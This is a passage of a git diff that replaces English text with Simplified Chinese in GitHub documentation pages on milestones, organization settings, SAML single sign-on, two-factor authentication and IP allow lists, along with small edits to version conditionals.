+    - 要创建新里程碑，请单击 **New Milestone（新建里程碑）**。 ![新建里程碑按钮](/assets/images/help/repository/new-milestone.png)
+    - 要编辑里程碑，请在要编辑的里程碑旁边，单击 **Edit（编辑）**。 ![编辑里程碑选项](/assets/images/help/repository/edit-milestone.png)
+5. 键入里程碑的标题、说明或其他更改，然后单击 **Create milestone（创建里程碑）**或 **Save changes（保存更改）**。 里程碑将呈现 Markdown 语法。 有关 Markdown 语法的更多信息，请参阅“[基本撰写和格式语法](/github/writing-on-github/basic-writing-and-formatting-syntax)”。
 
-## Further reading
+## 删除里程碑
 
-- "[About milestones](/articles/about-milestones)"
-- "[Associating milestones with issues and pull requests](/articles/associating-milestones-with-issues-and-pull-requests)"
-- "[Viewing your milestone's progress](/articles/viewing-your-milestone-s-progress)"
-- "[Filtering issues and pull requests by milestone](/articles/filtering-issues-and-pull-requests-by-milestone)"
+删除里程碑时，议题和提取请求不会受到影响。
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-issue-pr %}
+{% data reusables.project-management.milestones %}
+4. 在要删除的里程碑旁边，单击 **Delete（删除）**。 ![删除里程碑选项](/assets/images/help/repository/delete-milestone.png)
+
+## 延伸阅读
+
+- "[关于里程碑](/articles/about-milestones)"
+- "[将里程碑与议题及拉取请求关联](/articles/associating-milestones-with-issues-and-pull-requests)"
+- "[查看里程碑的进度](/articles/viewing-your-milestone-s-progress)"
+- "[按里程碑过滤议题和拉取请求](/articles/filtering-issues-and-pull-requests-by-milestone)"
diff --git a/translations/zh-CN/content/organizations/collaborating-with-groups-in-organizations/about-organizations.md b/translations/zh-CN/content/organizations/collaborating-with-groups-in-organizations/about-organizations.md
index d5073f08ca..b95be3b513 100644
--- a/translations/zh-CN/content/organizations/collaborating-with-groups-in-organizations/about-organizations.md
+++ b/translations/zh-CN/content/organizations/collaborating-with-groups-in-organizations/about-organizations.md
@@ -1,6 +1,6 @@
 ---
-title: About organizations
-intro: Organizations are shared accounts where businesses and open-source projects can collaborate across many projects at once. Owners and administrators can manage member access to the organization's data and projects with sophisticated security and administrative features.
+title: 关于组织
+intro: 组织是共享帐户，其中业务和开源项目可一次协助处理多个项目。 所有者和管理员可通过复杂的安全和管理功能管理成员对组织数据和项目的访问。
 redirect_from:
   - /articles/about-organizations
   - /github/setting-up-and-managing-organizations-and-teams/about-organizations
@@ -16,23 +16,27 @@ topics:
 
 {% data reusables.organizations.about-organizations %} For more information about account types, see "[Types of {% data variables.product.prodname_dotcom %} accounts](/get-started/learning-about-github/types-of-github-accounts)."
 
-{% data reusables.organizations.organizations_include %} 
+{% data reusables.organizations.organizations_include %}
 
-{% data reusables.organizations.org-ownership-recommendation %} For more information, see "[Maintaining ownership continuity for your organization](/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization)."
+{% data reusables.organizations.org-ownership-recommendation %} 更多信息请参阅“[管理组织的所有权连续性](/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization)”。
 
-{% ifversion fpt or ghec %}
-## Organizations and enterprise accounts
+## 组织和企业帐户
 
-Enterprise accounts are a feature of {% data variables.product.prodname_ghe_cloud %} that allow owners to centrally manage policy and billing for multiple organizations.
+{% ifversion fpt %}
+Enterprise accounts are a feature of {% data variables.product.prodname_ghe_cloud %} that allow owners to centrally manage policy and billing for multiple organizations. For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/organizations/collaborating-with-groups-in-organizations/about-organizations).
+{% else %}
+{% ifversion ghec %}For organizations that belong to an enterprise account, billing is managed at the enterprise account level, and billing settings are not available at the organization level.{% endif %} Enterprise owners can set policy for all organizations in the enterprise account or allow organization owners to set the policy at the organization level. 组织所有者无法更改在企业帐户级对组织执行的设置。 如果对组织的策略或设置有疑问，请联系企业帐户的所有者。
 
-For organizations that belong to an enterprise account, billing is managed at the enterprise account level, and billing settings are not available at the organization level. Enterprise owners can set policy for all organizations in the enterprise account or allow organization owners to set the policy at the organization level. Organization owners cannot change settings enforced for your organization at the enterprise account level. If you have questions about a policy or setting for your organization, contact the owner of your enterprise account.
-
-{% data reusables.enterprise.create-an-enterprise-account %} For more information, see "[Creating an enterprise account]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/admin/overview/creating-an-enterprise-account){% ifversion ghec %}."{% else %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% endif %}
+{% ifversion ghec %}
+{% data reusables.enterprise.create-an-enterprise-account %} For more information, see "[Creating an enterprise account](/admin/overview/creating-an-enterprise-account)."
 
 {% data reusables.enterprise-accounts.invite-organization %}
+{% endif %}
+{% endif %}
 
-## Terms of service and data protection for organizations
+{% ifversion fpt or ghec %}
+## 组织的服务条款和数据保护
 
-An entity, such as a company, non-profit, or group, can agree to the Standard Terms of Service or the Corporate Terms of Service for their organization. For more information, see "[Upgrading to the Corporate Terms of Service](/articles/upgrading-to-the-corporate-terms-of-service)."
+实体（如公司、非营利组织或集团）可同意用于其组织的标准服务条款或公司服务条款。 更多信息请参阅“[升级到公司服务条款](/articles/upgrading-to-the-corporate-terms-of-service)”。
 
 {% endif %}
diff --git a/translations/zh-CN/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md b/translations/zh-CN/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md
index 1301ef95bc..58ae6d21bf 100644
--- a/translations/zh-CN/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md
+++ b/translations/zh-CN/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md
@@ -1,6 +1,6 @@
 ---
-title: About your organization’s news feed
-intro: You can use your organization's news feed to keep up with recent activity on repositories owned by that organization.
+title: 关于组织的消息馈送
+intro: 您可以使用组织的消息馈送跟进该组织拥有的仓库上的近期活动。
 redirect_from:
   - /articles/news-feed
   - /articles/about-your-organization-s-news-feed
@@ -14,17 +14,15 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Organization news feed
+shortTitle: 组织消息馈送
 ---
 
-An organization's news feed shows other people's activity on repositories owned by that organization. You can use your organization's news feed to see when someone opens, closes, or merges an issue or pull request, creates or deletes a branch, creates a tag or release, comments on an issue, pull request, or commit, or pushes new commits to {% data variables.product.product_name %}.
+组织的消息馈送显示其他人在该组织拥有的仓库上的活动。 您可以使用组织的消息馈送来查看何时有人打开、关闭或合并议题或拉取请求，创建或删除分支，创建标记或发行版，评论议题，拉取请求，或者提交或推送提交到 {% data variables.product.product_name %}。
 
-## Accessing your organization's news feed
+## 访问组织的消息馈送
 
-1. {% data variables.product.signin_link %} to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.
-2. Open your {% data reusables.user_settings.personal_dashboard %}.
-3. Click the account context switcher in the upper-left corner of the page.
-  ![Context switcher button in Enterprise](/assets/images/help/organizations/account_context_switcher.png)
-4. Select an organization from the drop-down menu.{% ifversion fpt or ghec %}
-  ![Context switcher menu in dotcom](/assets/images/help/organizations/account-context-switcher-selected-dotcom.png){% else %}
-  ![Context switcher menu in Enterprise](/assets/images/help/organizations/account_context_switcher.png){% endif %}
+1. {% data variables.product.signin_link %} 到 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上的帐户。
+2. 打开 {% data reusables.user_settings.personal_dashboard %}。
+3. 单击页面左上角的帐户上下文切换器。 ![Enterprise 中的上下文切换器按钮](/assets/images/help/organizations/account_context_switcher.png)
+4. 从下拉菜单中选择组织。{% ifversion fpt or ghec %} ![Context switcher menu in dotcom](/assets/images/help/organizations/account-context-switcher-selected-dotcom.png){% else %}
+![Context switcher menu in Enterprise](/assets/images/help/organizations/account_context_switcher.png){% endif %}
diff --git a/translations/zh-CN/content/organizations/collaborating-with-groups-in-organizations/accessing-your-organizations-settings.md b/translations/zh-CN/content/organizations/collaborating-with-groups-in-organizations/accessing-your-organizations-settings.md
index 373c0c390d..bdf982e8f7 100644
--- a/translations/zh-CN/content/organizations/collaborating-with-groups-in-organizations/accessing-your-organizations-settings.md
+++ b/translations/zh-CN/content/organizations/collaborating-with-groups-in-organizations/accessing-your-organizations-settings.md
@@ -1,5 +1,5 @@
 ---
-title: Accessing your organization's settings
+title: 访问组织的设置
 redirect_from:
   - /articles/who-can-access-organization-billing-information-and-account-settings
   - /articles/managing-the-organization-s-settings
@@ -9,7 +9,7 @@ redirect_from:
   - /articles/accessing-your-organization-s-settings
   - /articles/accessing-your-organizations-settings
   - /github/setting-up-and-managing-organizations-and-teams/accessing-your-organizations-settings
-intro: 'The organization account settings page provides several ways to manage the account, such as billing, team membership, and repository settings.'
+intro: 组织帐户设置页面提供几种管理帐户的方式，如帐单、团队成员资格和仓库设置。
 versions:
   fpt: '*'
   ghes: '*'
@@ -18,13 +18,14 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Access organization settings
+shortTitle: 访问组织设置
 ---
+
 {% ifversion fpt or ghec %}
 
 {% tip %}
 
-**Tip:** Only organization owners and billing managers can see and change the billing information and account settings for an organization. {% data reusables.organizations.new-org-permissions-more-info %}
+**提示：**只有组织所有者和帐单管理员可以查看及更改组织的帐单信息与帐户设置。 {% data reusables.organizations.new-org-permissions-more-info %}
 
 {% endtip %}
 
diff --git a/translations/zh-CN/content/organizations/collaborating-with-groups-in-organizations/index.md b/translations/zh-CN/content/organizations/collaborating-with-groups-in-organizations/index.md
index bd2e17c6b1..61bd8e2b19 100644
--- a/translations/zh-CN/content/organizations/collaborating-with-groups-in-organizations/index.md
+++ b/translations/zh-CN/content/organizations/collaborating-with-groups-in-organizations/index.md
@@ -1,6 +1,6 @@
 ---
-title: Collaborating with groups in organizations
-intro: Groups of people can collaborate across many projects at the same time in organization accounts.
+title: 与组织中的团体协作
+intro: 组织帐户中的人员团体可同时跨多个项目展开协作。
 redirect_from:
   - /articles/creating-a-new-organization-account
   - /articles/collaborating-with-groups-in-organizations
@@ -21,6 +21,6 @@ children:
   - /customizing-your-organizations-profile
   - /about-your-organizations-news-feed
   - /viewing-insights-for-your-organization
-shortTitle: Collaborate with groups
+shortTitle: 与组协作
 ---
 
diff --git a/translations/zh-CN/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md b/translations/zh-CN/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md
index 84fdefa98d..8fecca6207 100644
--- a/translations/zh-CN/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md
+++ b/translations/zh-CN/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md
@@ -1,6 +1,6 @@
 ---
-title: About two-factor authentication and SAML single sign-on
-intro: Organizations administrators can enable both SAML single sign-on and two-factor authentication to add additional authentication measures for their organization members.
+title: 关于双重身份验证和 SAML 单点登录
+intro: 组织管理员可启用 SAML 单点登录及双重身份验证，为其组织成员增加额外的身份验证措施。
 redirect_from:
   - /articles/about-two-factor-authentication-and-saml-single-sign-on
   - /github/setting-up-and-managing-organizations-and-teams/about-two-factor-authentication-and-saml-single-sign-on
@@ -9,18 +9,18 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: 2FA & SAML single sign-on
+shortTitle: 2FA 和 SAML 单点登录
 ---
 
-Two-factor authentication (2FA) provides basic authentication for organization members. By enabling 2FA, organization administrators limit the likelihood that a member's account on {% data variables.product.product_location %} could be compromised. For more information on 2FA, see "[About two-factor authentication](/articles/about-two-factor-authentication)."
+双重身份验证 (2FA) 为组织成员提供基本验证。 通过启用 2FA，组织管理员可降低 {% data variables.product.product_location %} 上成员的帐户被盗的可能性。 有关 2FA 的更多信息，请参阅“[关于双重身份验证](/articles/about-two-factor-authentication)”。
 
-To add additional authentication measures, organization administrators can also [enable SAML single sign-on (SSO)](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization) so that organization members must use single sign-on to access an organization. For more information on SAML SSO, see "[About identity and access management with SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on)."
+为增加额外的身份验证措施，组织管理员也可[启用 SAML 单点登录 (SSO)](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization)，这样组织成员必须使用单点登录来访问组织。 有关 SAML SSO 的更多信息，请参阅“[关于使用 SAML 单点登录管理身份和访问](/articles/about-identity-and-access-management-with-saml-single-sign-on)”。
 
-If both 2FA and SAML SSO are enabled, organization members must do the following:
-- Use 2FA to log in to their account on {% data variables.product.product_location %}
-- Use single sign-on to access the organization
-- Use an authorized token for API or Git access and use single sign-on to authorize the token
+如果同时启用了 2FA 和 SAML SSO，组织成员必须执行以下操作：
+- 使用 2FA 登录其在 {% data variables.product.product_location %} 上的帐户
+- 使用单点登录访问组织
+- 使用授权用于 API 或 Git 访问的令牌，并使用单点登录授权令牌
 
-## Further reading
+## 延伸阅读
 
-- "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)"
+- "[对组织实施 SAML 单点登录](/articles/enforcing-saml-single-sign-on-for-your-organization)"
diff --git a/translations/zh-CN/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/index.md b/translations/zh-CN/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/index.md
index 3b715c25de..0673b487bf 100644
--- a/translations/zh-CN/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/index.md
+++ b/translations/zh-CN/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/index.md
@@ -1,6 +1,6 @@
 ---
-title: Granting access to your organization with SAML single sign-on
-intro: 'Organization administrators can grant access to their organization with SAML single sign-on. This access can be granted to organization members, bots, and service accounts.'
+title: 使用 SAML 单点登录授予对组织的访问
+intro: 组织管理员可使用 SAML 单点登录授予对其组织的访问。 此访问权限可授予组织成员、自动程序和服务帐户。
 redirect_from:
   - /articles/granting-access-to-your-organization-with-saml-single-sign-on
   - /github/setting-up-and-managing-organizations-and-teams/granting-access-to-your-organization-with-saml-single-sign-on
@@ -13,6 +13,6 @@ children:
   - /managing-bots-and-service-accounts-with-saml-single-sign-on
   - /viewing-and-managing-a-members-saml-access-to-your-organization
   - /about-two-factor-authentication-and-saml-single-sign-on
-shortTitle: Grant access with SAML
+shortTitle: 通过 SAML 授予访问权限
 ---
 
diff --git a/translations/zh-CN/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/managing-bots-and-service-accounts-with-saml-single-sign-on.md b/translations/zh-CN/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/managing-bots-and-service-accounts-with-saml-single-sign-on.md
index 0b6a234588..5b8a455625 100644
--- a/translations/zh-CN/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/managing-bots-and-service-accounts-with-saml-single-sign-on.md
+++ b/translations/zh-CN/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/managing-bots-and-service-accounts-with-saml-single-sign-on.md
@@ -1,6 +1,6 @@
 ---
-title: Managing bots and service accounts with SAML single sign-on
-intro: Organizations that have enabled SAML single sign-on can retain access for bots and service accounts.
+title: 使用 SAML 单点登录管理自动程序和服务帐户
+intro: 启用了 SAML 单点登录的组织可保留对自动程序和服务帐户的访问权限。
 redirect_from:
   - /articles/managing-bots-and-service-accounts-with-saml-single-sign-on
   - /github/setting-up-and-managing-organizations-and-teams/managing-bots-and-service-accounts-with-saml-single-sign-on
@@ -9,17 +9,17 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Manage bots & service accounts
+shortTitle: 管理自动程序和服务帐户
 ---
 
-To retain access for bots and service accounts, organization administrators can [enable](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization), but **not** [enforce](/articles/enforcing-saml-single-sign-on-for-your-organization) SAML single sign-on for their organization. If you need to enforce SAML single sign-on for your organization, you can create an external identity for the bot or service account with your identity provider (IdP).
+要保留对自动程序和服务帐户的访问权限，组织可以对组织[启用](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization)但**不**[实施](/articles/enforcing-saml-single-sign-on-for-your-organization) SAML 单点登录。 如果需要对组织实施 SAML 单点登录，您可以通过身份提供程序 (IdP) 为自动程序或服务帐户创建外部身份。
 
 {% warning %}
 
-**Note:** If you enforce SAML single sign-on for your organization and **do not** have external identities set up for bots and service accounts with your IdP, they will be removed from your organization.
+**注：**如果对组织实施 SAML 单点登录但**未**通过 IdP 为自动程序和服务帐户设置外部身份，它们将会从组织中删除。
 
 {% endwarning %}
 
-## Further reading
+## 延伸阅读
 
-- "[About identity and access management with SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on)"
+- "[关于使用 SAML 单点登录管理身份和访问](/articles/about-identity-and-access-management-with-saml-single-sign-on)"
diff --git a/translations/zh-CN/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md b/translations/zh-CN/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md
index 8845f4c7cb..6c2dda06fb 100644
--- a/translations/zh-CN/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md
+++ b/translations/zh-CN/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing and managing a member's SAML access to your organization
-intro: 'You can view and revoke an organization member''s linked identity, active sessions, and authorized credentials.'
+title: 查看和管理成员对组织的 SAML 访问
+intro: 您可以查看和撤销组织成员的链接身份、活动会话和授权凭据。
 permissions: Organization owners can view and manage a member's SAML access to an organization.
 redirect_from:
   - /articles/viewing-and-revoking-organization-members-authorized-access-tokens
@@ -11,27 +11,27 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Manage SAML access
+shortTitle: 管理 SAML 访问
 ---
 
-## About SAML access to your organization
+## 关于对组织的 SAML 访问
 
-When you enable SAML single sign-on for your organization, each organization member can link their external identity on your identity provider (IdP) to their existing account on {% data variables.product.product_location %}. To access your organization's resources on {% data variables.product.product_name %}, the member must have an active SAML session in their browser. To access your organization's resources using the API or Git, the member must use a personal access token or SSH key that the member has authorized for use with your organization.
+对组织启用 SAML 单点登录时，每个组织成员都可以将其在身份提供程序 (IdP) 上的外部身份链接到其在 {% data variables.product.product_location %} 上的现有帐户。 要在 {% data variables.product.product_name %} 上访问组织的资源，成员必须在其浏览器中启动 SAML 会话。 要使用 API 或 Git 访问组织的资源，成员必须使用被授权用于组织的个人访问令牌或 SSH 密钥。
 
-You can view and revoke each member's linked identity, active sessions, and authorized credentials on the same page.
+您可以在同一页面上查看和撤销每个成员的链接身份、活动会话和授权凭据。
 
-## Viewing and revoking a linked identity
+## 查看和撤销链接的身份
 
-{% data reusables.saml.about-linked-identities %} 
+{% data reusables.saml.about-linked-identities %}
 
-When available, the entry will include SCIM data. For more information, see "[About SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)."
+如果可用，该条目将包含 SCIM 数据。 更多信息请参阅“[关于 SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)”。
 
 {% warning %}
 
-**Warning:** For organizations using SCIM:
-- Revoking a linked user identity on {% data variables.product.product_name %} will also remove the SAML and SCIM metadata. As a result, the identity provider will not be able to synchronize or deprovision the linked user identity.
-- An admin must revoke a linked identity through the identity provider.
-- To revoke a linked identity and link a different account through the identity provider, an admin can remove and re-assign the user to the {% data variables.product.product_name %} application. For more information, see your identity provider's documentation.
+**警告：**对于使用 SCIM 的组织：
+- 撤销 {% data variables.product.product_name %} 上链接的用户身份也会删除 SAML 和 SCIM 元数据。 因此，身份提供商无法同步或解除预配已链接的用户身份。
+- 管理员必须通过身份提供商撤销链接的身份。
+- 要撤销链接的身份并通过身份提供商链接其他帐户，管理员可以删除用户并重新分配给 {% data variables.product.product_name %} 应用程序。 更多信息请参阅身份提供商的文档。
 
 {% endwarning %}
 
@@ -47,7 +47,7 @@ When available, the entry will include SCIM data. For more information, see "[Ab
 {% data reusables.saml.revoke-sso-identity %}
 {% data reusables.saml.confirm-revoke-identity %}
 
-## Viewing and revoking an active SAML session
+## 查看和撤销活动的 SAML 会话
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
@@ -57,7 +57,7 @@ When available, the entry will include SCIM data. For more information, see "[Ab
 {% data reusables.saml.view-saml-sessions %}
 {% data reusables.saml.revoke-saml-session %}
 
-## Viewing and revoking authorized credentials
+## 查看和撤销授权的凭据
 
 {% data reusables.saml.about-authorized-credentials %}
 
@@ -70,7 +70,7 @@ When available, the entry will include SCIM data. For more information, see "[Ab
 {% data reusables.saml.revoke-authorized-credentials %}
 {% data reusables.saml.confirm-revoke-credentials %}
 
-## Further reading
+## 延伸阅读
 
-- "[About identity and access management with SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on)"{% ifversion ghec %}
-- "[Viewing and managing a user's SAML access to your enterprise account](/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise)"{% endif %}
+- "[- "](/articles/about-identity-and-access-management-with-saml-single-sign-on)关于使用 SAML 单点登录管理身份和访问{% ifversion ghec %}
+- "[查看和管理用户对企业帐户的 SAML 访问](/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise)"{% endif %}
diff --git a/translations/zh-CN/content/organizations/index.md b/translations/zh-CN/content/organizations/index.md
index aebcbe659d..76f399a6a0 100644
--- a/translations/zh-CN/content/organizations/index.md
+++ b/translations/zh-CN/content/organizations/index.md
@@ -1,7 +1,7 @@
 ---
-title: Organizations and teams
-shortTitle: Organizations
-intro: Collaborate across many projects while managing access to projects and data and customizing settings for your organization.
+title: 组织和团队
+shortTitle: 组织
+intro: 跨多个项目协作，同时管理对项目和数据的访问，并为组织自定义设置。
 redirect_from:
   - /articles/about-improved-organization-permissions
   - /categories/setting-up-and-managing-organizations-and-teams
diff --git a/translations/zh-CN/content/organizations/keeping-your-organization-secure/index.md b/translations/zh-CN/content/organizations/keeping-your-organization-secure/index.md
index 01d2dd4043..b45d3acee1 100644
--- a/translations/zh-CN/content/organizations/keeping-your-organization-secure/index.md
+++ b/translations/zh-CN/content/organizations/keeping-your-organization-secure/index.md
@@ -1,6 +1,6 @@
 ---
-title: Keeping your organization secure
-intro: 'Organization owners have several features to help them keep their projects and data secure. If you''re the owner of an organization, you should regularly review your organization''s audit log{% ifversion not ghae %}, member 2FA status,{% endif %} and application settings to ensure that no unauthorized or malicious activity has occurred.'
+title: 保护组织安全
+intro: '组织所有者有多项功能来帮助保护其项目和数据的安全。 如果您是组织的所有者，应定期检查组织的审核日志{% ifversion not ghae %}、成员 2FA 状态{% endif %} 和应用程序设置，以确保没有未授权或恶意的活动。'
 redirect_from:
   - /articles/preventing-unauthorized-access-to-organization-information
   - /articles/keeping-your-organization-secure
@@ -22,6 +22,6 @@ children:
   - /restricting-email-notifications-for-your-organization
   - /reviewing-the-audit-log-for-your-organization
   - /reviewing-your-organizations-installed-integrations
-shortTitle: Organization security
+shortTitle: 组织安全
 ---
 
diff --git a/translations/zh-CN/content/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization.md b/translations/zh-CN/content/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization.md
index 4fc8425724..888f8312a5 100644
--- a/translations/zh-CN/content/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization.md
+++ b/translations/zh-CN/content/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Managing allowed IP addresses for your organization
-intro: You can restrict access to your organization's assets by configuring a list of IP addresses that are allowed to connect.
+title: 管理组织允许的 IP 地址
+intro: 您可以通过配置允许连接的 IP 地址列表来限制对组织资产的访问。
 product: '{% data reusables.gated-features.allowed-ip-addresses %}'
 redirect_from:
   - /github/setting-up-and-managing-organizations-and-teams/managing-allowed-ip-addresses-for-your-organization
@@ -11,24 +11,24 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Manage allowed IP addresses
+shortTitle: 管理允许的 IP 地址
 ---
 
-Organization owners can manage allowed IP addresses for an organization.
+组织所有者可以管理组织允许的 IP 地址。
 
-## About allowed IP addresses
+## 关于允许的 IP 地址
 
-You can restrict access to organization assets by configuring an allow list for specific IP addresses. {% data reusables.identity-and-permissions.ip-allow-lists-example-and-restrictions %}
+您可以通过为特定 IP 地址配置允许列表来限制对组织资产的访问。 {% data reusables.identity-and-permissions.ip-allow-lists-example-and-restrictions %}
 
 {% data reusables.identity-and-permissions.ip-allow-lists-cidr-notation %}
 
 {% data reusables.identity-and-permissions.ip-allow-lists-enable %}
 
-If you set up an allow list you can also choose to automatically add to your allow list any IP addresses configured for {% data variables.product.prodname_github_apps %} that you install in your organization. The creator of a {% data variables.product.prodname_github_app %} can configure an allow list for their application, specifying the IP addresses at which the application runs. By inheriting their allow list into yours, you avoid connection requests from the application being refused. For more information, see "[Allowing access by {% data variables.product.prodname_github_apps %}](#allowing-access-by-github-apps)."
+如果您设置了允许列表，您还可以选择将为组织中安装的 {% data variables.product.prodname_github_apps %} 配置的任何 IP 地址自动添加到允许列表中。 {% data variables.product.prodname_github_app %} 的创建者可以为其应用程序配置允许列表，指定应用程序运行的 IP 地址。 通过将允许列表继承到您的列表中，您可以避免申请中的连接请求被拒绝。 更多信息请参阅“[允许 {% data variables.product.prodname_github_apps %} 访问](#allowing-access-by-github-apps)”。
 
-You can also configure allowed IP addresses for the organizations in an enterprise account. For more information, see "[Enforcing policies for security settings in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise)."
+您还可以为企业帐户中的组织配置允许的 IP 地址。 更多信息请参阅“[在企业中实施安全设置策略](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise)”。
 
-## Adding an allowed IP address
+## 添加允许的 IP 地址
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
@@ -37,33 +37,31 @@ You can also configure allowed IP addresses for the organizations in an enterpri
 {% data reusables.identity-and-permissions.ip-allow-lists-add-description %}
 {% data reusables.identity-and-permissions.ip-allow-lists-add-entry %}
 
-## Enabling allowed IP addresses
+## 启用允许的 IP 地址
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.security %}
-1. Under "IP allow list", select **Enable IP allow list**.
-  ![Checkbox to allow IP addresses](/assets/images/help/security/enable-ip-allowlist-organization-checkbox.png)
-1. Click **Save**.
+1. 在“IP allow list（IP 允许列表）”下，选择 **Enable IP allow list（启用 IP 允许列表）**。 ![允许 IP 地址的复选框](/assets/images/help/security/enable-ip-allowlist-organization-checkbox.png)
+1. 单击 **Save（保存）**。
 
-## Allowing access by {% data variables.product.prodname_github_apps %}
+## 允许 {% data variables.product.prodname_github_apps %} 访问
 
-If you're using an allow list, you can also choose to automatically add to your allow list any IP addresses configured for {% data variables.product.prodname_github_apps %} that you install in your organization. 
+如果您设置允许列表，您还可以选择将为组织中安装的 {% data variables.product.prodname_github_apps %} 配置的任何 IP 地址自动添加到允许列表中。
 
 {% data reusables.identity-and-permissions.ip-allow-lists-address-inheritance %}
 
 {% data reusables.apps.ip-allow-list-only-apps %}
 
-For more information about how to create an allow list for a {% data variables.product.prodname_github_app %} you have created, see "[Managing allowed IP addresses for a GitHub App](/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app)."
+有关如何为您创建的 {% data variables.product.prodname_github_app %} 创建允许列表的更多信息，请参阅“[管理 GitHub 应用程序允许的 IP 地址](/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app)”。
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.security %}
-1. Under "IP allow list", select **Enable IP allow list configuration for installed GitHub Apps**.
-  ![Checkbox to allow GitHub App IP addresses](/assets/images/help/security/enable-ip-allowlist-githubapps-checkbox.png)
-1. Click **Save**.
+1. 在“IP allow list（IP允许列表）”下，选择 **Enable IP allow list configuration for installed GitHub Apps（启用已安装 GitHub 应用程序的 IP 允许列表配置）**。 ![允许 GitHub 应用程序 IP 地址的复选框](/assets/images/help/security/enable-ip-allowlist-githubapps-checkbox.png)
+1. 单击 **Save（保存）**。
 
-## Editing an allowed IP address
+## 编辑允许的 IP 地址
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
@@ -71,9 +69,9 @@ For more information about how to create an allow list for a {% data variables.p
 {% data reusables.identity-and-permissions.ip-allow-lists-edit-entry %}
 {% data reusables.identity-and-permissions.ip-allow-lists-edit-ip %}
 {% data reusables.identity-and-permissions.ip-allow-lists-edit-description %}
-1. Click **Update**.
+1. 单击 **Update（更新）**。
 
-## Deleting an allowed IP address
+## 删除允许的 IP 地址
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
@@ -81,6 +79,6 @@ For more information about how to create an allow list for a {% data variables.p
 {% data reusables.identity-and-permissions.ip-allow-lists-delete-entry %}
 {% data reusables.identity-and-permissions.ip-allow-lists-confirm-deletion %}
 
-## Using {% data variables.product.prodname_actions %} with an IP allow list
+## 对 {% data variables.product.prodname_actions %} 使用 IP 允许列表
 
 {% data reusables.github-actions.ip-allow-list-self-hosted-runners %}
diff --git a/translations/zh-CN/content/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization.md b/translations/zh-CN/content/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization.md
index 1195064040..0dafd8c361 100644
